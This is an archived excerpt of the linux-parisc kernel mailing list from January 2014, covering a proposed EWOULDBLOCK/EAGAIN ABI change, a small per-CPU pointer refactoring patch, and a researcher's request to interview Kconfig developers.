	Fri, 17 Jan 2014 09:08:10 -0500
Original-Received: from mail-ob0-f176.google.com ([209.85.214.176]:41480 "EHLO
	mail-ob0-f176.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750971AbaAQOIJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 Jan 2014 09:08:09 -0500
Original-Received: by mail-ob0-f176.google.com with SMTP id gq1so2298565obb.21
        for <linux-parisc@vger.kernel.org>; Fri, 17 Jan 2014 06:08:09 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=Klu4m70YVToLy+u+rhz+SjSSNjTQqp/wQfvEtZWX53M=;
        b=IX8M1KyCmWhpTXiUtCYFj2yHLaIn6av8h4HwSf35FulqC1b8PX+Op3nJQHENFnZFqv
         onUnNC3ypIzFvfkaCNWQb4oUxUoW8r/789BACU66TIoVPIfxetue+xcM4U2FnfrnkWSJ
         SnfgYrGB8dn4JfdVlUPH+nInqe5lhS1JV1KUWfDuVdcP/Y4b3rXCzu4m4WM5uTVzwkAz
         Khz64f2Xr/msrehenqXpyS4yA+p0XRGgWigFjWsxcXRzcpTd/rMIqRXqgmo7maPNTNmP
         XYGlxh+HeMFQ77sXOPNwLgBmai024q2gR7vbHJjFduI4XbfctZk1I5cJRvqVWqXotOPH
         xfuQ==
X-Gm-Message-State: ALoCoQn4+iZlqule2N5STTJNMmmiPdvznJtwlHtrsisHtjOlPrFCqW69IiEAH0C/xX1vWDacoL4s
X-Received: by 10.60.99.8 with SMTP id em8mr1768832oeb.8.1389967688214; Fri,
 17 Jan 2014 06:08:08 -0800 (PST)
Original-Received: by 10.76.158.138 with HTTP; Fri, 17 Jan 2014 06:08:08 -0800 (PST)
X-Originating-IP: [204.11.82.140]
In-Reply-To: <BLU0-SMTP49AD2B087335E0EF03F54197B80@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5614
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5614>

On Fri, Jan 17, 2014 at 9:01 AM, John David Anglin <dave.anglin@bell.net> wrote:
>
> On 17-Jan-14, at 3:55 AM, Guy Martin wrote:
>
>> So despite the fact that this will break the ABI, the breakage should be minimal
>> if non existent while it will fix a lot of hard to find and identify issues.
>
>
> Have you tested the change?

This is a good point.

If you can make this change and still boot your system with a rebuilt
kernel, then there is hope that your claims are true.

The basic argument would be:
* Change kernel header to make EWOULDBLOCK == AGAIN.
* Rebuild kernel.
* Boot system.
* Verify system is semifunctional, networking, IO, disk, XVnc, etc.

That would go a long way to showing that most of the system works.

Then if you emerge the world against those changed headers and it goes
well, then we might be talking about it being a low-impact change.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Make EWOULDBLOCK be equal to EAGAIN on parisc.
Date: Fri, 17 Jan 2014 16:11:21 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <02413c24ce7571300e50655bd7bb420d@tuxicoman.be>
References: <7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be>
 <CAE2sS1gmD21qT=UPJEt9VfAnE=e-k=qwkQM0nUO0viMaJSm3ng@mail.gmail.com>
 <BLU0-SMTP89CC166E31998D28320EA697B90@phx.gbl>
 <CAE2sS1hO=do8VTwn-_mPwZge_AdunrOfoC0VW4RnezaDfZYxXQ@mail.gmail.com>
 <52D84BF5.3010001@gmx.de> <faa430fa75815f8c37dd2ec4ccd4a863@tuxicoman.be>
 <BLU0-SMTP49AD2B087335E0EF03F54197B80@phx.gbl>
 <CAE2sS1hdPiLejCRKSJkCGb62WaeqK3uGgXU7Yjy_de9NHyaS3Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1389971495 4863 80.91.229.3 (17 Jan 2014 15:11:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Jan 2014 15:11:35 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 17 16:11:41 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W4B59-0006zg-Gh
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 Jan 2014 16:11:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752578AbaAQPLg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 Jan 2014 10:11:36 -0500
Original-Received: from venus.vo.lu ([80.90.45.96]:49638 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752580AbaAQPLf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 Jan 2014 10:11:35 -0500
Original-Received: from ibiza.lux.tuxicoman.be (vodsl-8217.vo.lu [85.93.199.25]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Fri, 17 Jan 2014 16:11:16 +0100
Original-Received: from cartman.lux.tuxicoman.be ([172.18.0.2] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1W4B4r-0000lC-Hu; Fri, 17 Jan 2014 16:11:21 +0100
In-Reply-To: <CAE2sS1hdPiLejCRKSJkCGb62WaeqK3uGgXU7Yjy_de9NHyaS3Q@mail.gmail.com>
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5615
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5615>

On 2014-01-17 15:08, Carlos O'Donell wrote:
> On Fri, Jan 17, 2014 at 9:01 AM, John David Anglin 
> <dave.anglin@bell.net> wrote:
>> 
>> On 17-Jan-14, at 3:55 AM, Guy Martin wrote:
>> 
>>> So despite the fact that this will break the ABI, the breakage should 
>>> be minimal
>>> if non existent while it will fix a lot of hard to find and identify 
>>> issues.
>> 
>> 
>> Have you tested the change?
> 
> This is a good point.
> 
> If you can make this change and still boot your system with a rebuilt
> kernel, then there is hope that your claims are true.
> 
> The basic argument would be:
> * Change kernel header to make EWOULDBLOCK == AGAIN.
> * Rebuild kernel.
> * Boot system.
> * Verify system is semifunctional, networking, IO, disk, XVnc, etc.
> 
> That would go a long way to showing that most of the system works.
> 
> Then if you emerge the world against those changed headers and it goes
> well, then we might be talking about it being a low-impact change.
> 

I've rebuilt the kernel with the change and I can't see any impact.
NFS/SSH works fine and upgrading a few packages doesn't show any issue.
I don't have X on that box.


   Guy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 11/41] parisc: Replace __get_cpu_var uses for address calculation
Date: Fri, 17 Jan 2014 09:18:23 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <20140117151835.513814745@linux.com>
References: <20140117151812.770437629@linux.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1389972291 16245 80.91.229.3 (17 Jan 2014 15:24:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Jan 2014 15:24:51 +0000 (UTC)
Cc: akpm@linuxfoundation.org, rostedt@goodmis.org,
	linux-kernel@vger.kernel.org, Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <peterz@infradead.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Tejun Heo <tj@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 17 16:24:54 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W4BHu-0003IF-3Z
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 Jan 2014 16:24:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752955AbaAQPYs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 Jan 2014 10:24:48 -0500
Original-Received: from qmta14.emeryville.ca.mail.comcast.net ([76.96.27.212]:49333
	"EHLO qmta14.emeryville.ca.mail.comcast.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752826AbaAQPYq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 Jan 2014 10:24:46 -0500
X-Greylist: delayed 365 seconds by postgrey-1.27 at vger.kernel.org; Fri, 17 Jan 2014 10:24:46 EST
Original-Received: from omta24.emeryville.ca.mail.comcast.net ([76.96.30.92])
	by qmta14.emeryville.ca.mail.comcast.net with comcast
	id F2Wm1n0071zF43QAE3JhfB; Fri, 17 Jan 2014 15:18:41 +0000
Original-Received: from gentwo.org ([98.213.233.247])
	by omta24.emeryville.ca.mail.comcast.net with comcast
	id F3Jf1n00M5Lw0ES8k3JgVA; Fri, 17 Jan 2014 15:18:41 +0000
Original-Received: by gentwo.org (Postfix, from userid 1001)
	id 9243B2D425; Fri, 17 Jan 2014 09:18:35 -0600 (CST)
Content-Disposition: inline; filename=this_parisc
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=comcast.net;
	s=q20121106; t=1389971921;
	bh=FAGGV30AhtkEAxPZsDvtFuU5vFZiR1doA9bCbaY98Xo=;
	h=Received:Received:Received:Message-Id:Date:From:To:Subject:
	 Content-Type;
	b=UfvwGdR18s38RmR1zIuf62j+JOwCz8yZ19ld7uIeRXyH5si9Zxs0f/haOYiyBWJso
	 nuiLqGOCN0P3KICZbqFhLs1dFg8gzjIsFRZVd2GO8GOjgqPGemjp0c9dMROeZmkVl+
	 va7vKmOjpsEvHqDMoZ83Qido2gPSh8KYfQ+1o/PXQroWjxpRuymbHoGqTz0zQGyziu
	 xXOMs/2iiuDIch90nK83gEetlfX9NfceqPoCCh8sGqDqs1GF1VnPov3pioBUhQZAeP
	 SFFPx8vSY0whjntWSMV8bsiB/t+2d+euwfFAIDnQawgEnzH5R5O49WGRA50ibV42M4
	 3CZoAX9mi75QA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5616 gmane.linux.kernel:1631651
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5616>

Convert to the use of this_cpu_ptr().

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Christoph Lameter <cl@linux.com>

Index: linux/arch/parisc/lib/memcpy.c
===================================================================
--- linux.orig/arch/parisc/lib/memcpy.c	2013-12-02 16:07:49.844632157 -0600
+++ linux/arch/parisc/lib/memcpy.c	2013-12-02 16:07:49.844632157 -0600
@@ -470,7 +470,7 @@ static unsigned long pa_memcpy(void *dst
 		return 0;
 
 	/* if a load or store fault occured we can get the faulty addr */
-	d = &__get_cpu_var(exception_data);
+	d = this_cpu_ptr(&exception_data);
 	fault_addr = d->fault_addr;
 
 	/* error in load or store? */
Index: linux/arch/parisc/mm/fault.c
===================================================================
--- linux.orig/arch/parisc/mm/fault.c	2013-12-02 16:07:49.844632157 -0600
+++ linux/arch/parisc/mm/fault.c	2013-12-02 16:07:49.844632157 -0600
@@ -151,7 +151,7 @@ int fixup_exception(struct pt_regs *regs
 	fix = search_exception_tables(regs->iaoq[0]);
 	if (fix) {
 		struct exception_data *d;
-		d = &__get_cpu_var(exception_data);
+		d = this_cpu_ptr(&exception_data);
 		d->fault_ip = regs->iaoq[0];
 		d->fault_space = regs->isr;
 		d->fault_addr = regs->ior;

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kconfig Dependencies in Linux
Date: Fri, 17 Jan 2014 12:55:14 -0800
Lines: 56
Approved: news@gmane.org
Message-ID: <CAP6odjg-dTix7zZKcGmaHJAptAe7wLdD+NMVrmvOcG++d506cA@mail.gmail.com>
References: <52D98D23.3010004@uwaterloo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1389992112 1056 80.91.229.3 (17 Jan 2014 20:55:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Jan 2014 20:55:12 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Sarah Nadi <snadi@uwaterloo.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 17 21:55:20 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W4GRg-0007Qj-Qv
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 Jan 2014 21:55:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751971AbaAQUzQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 Jan 2014 15:55:16 -0500
Original-Received: from mail-oa0-f50.google.com ([209.85.219.50]:43675 "EHLO
	mail-oa0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751314AbaAQUzP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 Jan 2014 15:55:15 -0500
Original-Received: by mail-oa0-f50.google.com with SMTP id n16so2191428oag.9
        for <linux-parisc@vger.kernel.org>; Fri, 17 Jan 2014 12:55:14 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=CtMqOFBXZ6+nk6f3TvL1+T5FzoXzo6Au+GCH4BI6v9I=;
        b=HgIbugcT5NCVkYucqKgMsFrgYQOXPwL9SP9S/thqF2VQDiZrIktNSg1reufMIFcW76
         6+EyEZSxv7ZpMC8NGJElsakI2T60/EMQQfkB0gpPgjyKk/9wGFG/k2VsrY6f/vcn7T/1
         Mu8hz1djUu5eaBhNBS2uvrVDA5tMWBis3cM9CZ+dQCcueAl0dRBoYDhHIIQ2M8+bxUC3
         J6gv2nPXpIlzUuYHfsD+n2YQt9zNGD0s+3Nf4u/xrHvJ+e7J7COSQM47pRZr9Og58xuq
         gvbG4cqqoV5KGhwuGo5MhjdFIQZ+281mRa2CiBlojUkmk3UVu7mJCQEywmdjV3O3lN+g
         QjpQ==
X-Received: by 10.60.50.105 with SMTP id b9mr3410791oeo.34.1389992114770; Fri,
 17 Jan 2014 12:55:14 -0800 (PST)
Original-Received: by 10.182.248.168 with HTTP; Fri, 17 Jan 2014 12:55:14 -0800 (PST)
In-Reply-To: <52D98D23.3010004@uwaterloo.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5617
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5617>

On Fri, Jan 17, 2014 at 12:05 PM, Sarah Nadi <snadi@uwaterloo.ca> wrote:
> Hi Grant,

Sarah,
If you have specific questions about Kconfig files (and the rules they
embed), my advice is to ask on linux kernel mailing list. You'll get
the answers you are looking for.

For specific projects that use the kernel, like parisc-linux or Chrome
OS (my day job), ask on those respective mailing lists:
     linux-parisc@vger.kernel.org (cc'd)
     https://groups.google.com/a/chromium.org/forum/#!forum/chromium-os-dev

Asking random people listed in MAINTAINERS is just going to get you a
lot of negative feedback.

cheers,
grant

>
> I am a researcher at the University of Waterloo, Ontario, Canada. As part of
> a research team with members from both the University of Waterloo and
> Carnegie Mellon University, USA, we are interested in creating automated
> tools for large configurable software. We are currently working on
> automatically reverse engineering configuration constraints from code to
> provide tools that support automatic creation of Kconfig dependencies (i.e.,
> the variability model) as well as consistency checks between the code and
> the variability model. We have tested our infrastructure on four different
> open-source systems. For the Linux kernel, we have already been able to
> automatically extract 31% of the Kconfig constraints from the code. We are
> currently investigating the cases we could not automatically recover to
> understand how variability modeling is used in practice, and what kind of
> constraints do developers usually enforce.
>
> To improve our tools, and to better understand the configuration constraints
> enforced, we are interested in interviewing developers who have worked with
> Kconfig.The interview would take only around 15-20 minutes of your time
> where we would discuss your related development practices, and some examples
> of Kconfig constraints we could not automatically detect. Interviews can be
> conducted over the phone or Skype. Alternatively, I can also email you a
> questionnaire if you would prefer that.
>
> Please let me know if you would be willing to participate.
>
>
> Thanks,
>
> Sarah Nadi
> PhD candidate
> University of Waterloo, ON, Canada
> http://swag.uwaterloo.ca/~snadi
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sarah Nadi <snadi@uwaterloo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kconfig Dependencies in Linux
Date: Fri, 17 Jan 2014 16:03:34 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <52D99AA6.7080902@uwaterloo.ca>
References: <52D98D23.3010004@uwaterloo.ca> <CAP6odjg-dTix7zZKcGmaHJAptAe7wLdD+NMVrmvOcG++d506cA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1389993119 12275 80.91.229.3 (17 Jan 2014 21:11:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Jan 2014 21:11:59 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Grant Grundler <grantgrundler@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 17 22:12:05 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W4Ghw-00085s-DJ
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 Jan 2014 22:12:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752905AbaAQVL7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 Jan 2014 16:11:59 -0500
Original-Received: from mails.cs.uwaterloo.ca ([129.97.167.217]:40224 "EHLO
	mails.cs.uwaterloo.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752064AbaAQVLr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 Jan 2014 16:11:47 -0500
X-Greylist: delayed 487 seconds by postgrey-1.27 at vger.kernel.org; Fri, 17 Jan 2014 16:11:46 EST
Original-Received: from [129.97.171.195] (swag12.cs.uwaterloo.ca [129.97.171.195])
	(authenticated bits=0)
	by mails.cs.uwaterloo.ca (8.14.4/8.14.4/Debian-2ubuntu2) with ESMTP id s0HL3ZeD005057
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NOT);
	Fri, 17 Jan 2014 16:03:35 -0500
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <CAP6odjg-dTix7zZKcGmaHJAptAe7wLdD+NMVrmvOcG++d506cA@mail.gmail.com>
X-Miltered: at mailchk-m06 with ID 52D99AA7.000 by Joe's j-chkmail (http://j-chkmail.ensmp.fr)!
X-Virus-Scanned: clamav-milter 0.98 at mailchk-m06
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5618
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5618>

Hi Grant,

Thanks for your feedback. I was actually specifically targetting 
developers who have committed to the Kconfig files before as far as I 
could tell from the  kernel's git repository rather than randomly 
picking people listed in MAINTAINERS. I do have questions about certain 
dependencies, but I also want to get the general intuition behind when a 
Kconfig dependency is enforced, and if there is external/domain 
knowledge that comes into play. This is why I was interested in talking 
to developers.

In all cases, I do appreciate the advice!

Sarah

On 14-01-17 03:55 PM, Grant Grundler wrote:
> On Fri, Jan 17, 2014 at 12:05 PM, Sarah Nadi <snadi@uwaterloo.ca> wrote:
>> Hi Grant,
> Sarah,
> If you have specific questions about Kconfig files (and the rules they
> embed), my advice is to ask on linux kernel mailing list. You'll get
> the answers you are looking for.
>
> For specific projects that use the kernel, like parisc-linux or Chrome
> OS (my day job), ask on those respective mailing lists:
>       linux-parisc@vger.kernel.org (cc'd)
>       https://groups.google.com/a/chromium.org/forum/#!forum/chromium-os-dev
>
> Asking random people listed in MAINTAINERS is just going to get you a
> lot of negative feedback.
>
> cheers,
> grant
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Make EWOULDBLOCK be equal to EAGAIN on parisc.
Date: Fri, 17 Jan 2014 23:27:55 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <52D9AE6B.9000405@gmx.de>
References: <7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be> <CAE2sS1gmD21qT=UPJEt9VfAnE=e-k=qwkQM0nUO0viMaJSm3ng@mail.gmail.com> <BLU0-SMTP89CC166E31998D28320EA697B90@phx.gbl> <CAE2sS1hO=do8VTwn-_mPwZge_AdunrOfoC0VW4RnezaDfZYxXQ@mail.gmail.com> <52D84BF5.3010001@gmx.de> <faa430fa75815f8c37dd2ec4ccd4a863@tuxicoman.be> <BLU0-SMTP49AD2B087335E0EF03F54197B80@phx.gbl> <CAE2sS1hdPiLejCRKSJkCGb62WaeqK3uGgXU7Yjy_de9NHyaS3Q@mail.gmail.com> <02413c24ce7571300e50655bd7bb420d@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1389997699 468 80.91.229.3 (17 Jan 2014 22:28:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Jan 2014 22:28:19 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Guy Martin <gmsoft@tuxicoman.be>,
	Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 17 23:28:25 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W4Htn-0000cu-MY
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 Jan 2014 23:28:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752816AbaAQW2V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 Jan 2014 17:28:21 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:49549 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752622AbaAQW16 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 Jan 2014 17:27:58 -0500
Original-Received: from [192.168.178.60] ([84.173.36.197]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0Ld0jY-1VdiZA33mC-00iBui for
 <linux-parisc@vger.kernel.org>; Fri, 17 Jan 2014 23:27:56 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <02413c24ce7571300e50655bd7bb420d@tuxicoman.be>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:yZmgnV4AbfrqdimIM0ios8iovwFvVrjYpVfuGkzHjXYH8OvvcVm
 +2vZLqBxrmziZ5GwYcgwIn+Maco7PPamkyu5Yok8bOfXyeQrAS7Qy1o7Tp1ABcf3mDLbnGO
 HTsADM715rnhQZkRIhlfIEmntJsOJ6zuwtAkfjJ90ph69aBgoEVA6EHLulgiZV78YW+DAPX
 g+2/uLCeRiOXt8Z8T/jyA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5619
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5619>

On 01/17/2014 04:11 PM, Guy Martin wrote:
> On 2014-01-17 15:08, Carlos O'Donell wrote:
>> On Fri, Jan 17, 2014 at 9:01 AM, John David Anglin
>> <dave.anglin@bell.net> wrote:
>>> 
>>> On 17-Jan-14, at 3:55 AM, Guy Martin wrote:
>>> 
>>>> So despite the fact that this will break the ABI, the breakage
>>>> should be minimal if non existent while it will fix a lot of
>>>> hard to find and identify issues.
>>> 
>>> 
>>> Have you tested the change?
>> 
>> This is a good point.
>> 
>> If you can make this change and still boot your system with a
>> rebuilt kernel, then there is hope that your claims are true.
>> 
>> The basic argument would be: * Change kernel header to make
>> EWOULDBLOCK == AGAIN. * Rebuild kernel. * Boot system. * Verify
>> system is semifunctional, networking, IO, disk, XVnc, etc.
>> 
>> That would go a long way to showing that most of the system works.
>> 
>> Then if you emerge the world against those changed headers and it
>> goes well, then we might be talking about it being a low-impact
>> change.
>> 
> 
> I've rebuilt the kernel with the change and I can't see any impact. 
> NFS/SSH works fine and upgrading a few packages doesn't show any
> issue. I don't have X on that box.


Just a comment:
If we do an ABI break, we maybe should take other topics into account at the same time as well, e.g.
- increasing number of signals for systemd
- dropping some HP-UX signals
- maybe something needed to better support 64bit userspace ?
- ...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Issue with =?UTF-8?Q?pata=5Fsil=36=38=30?=
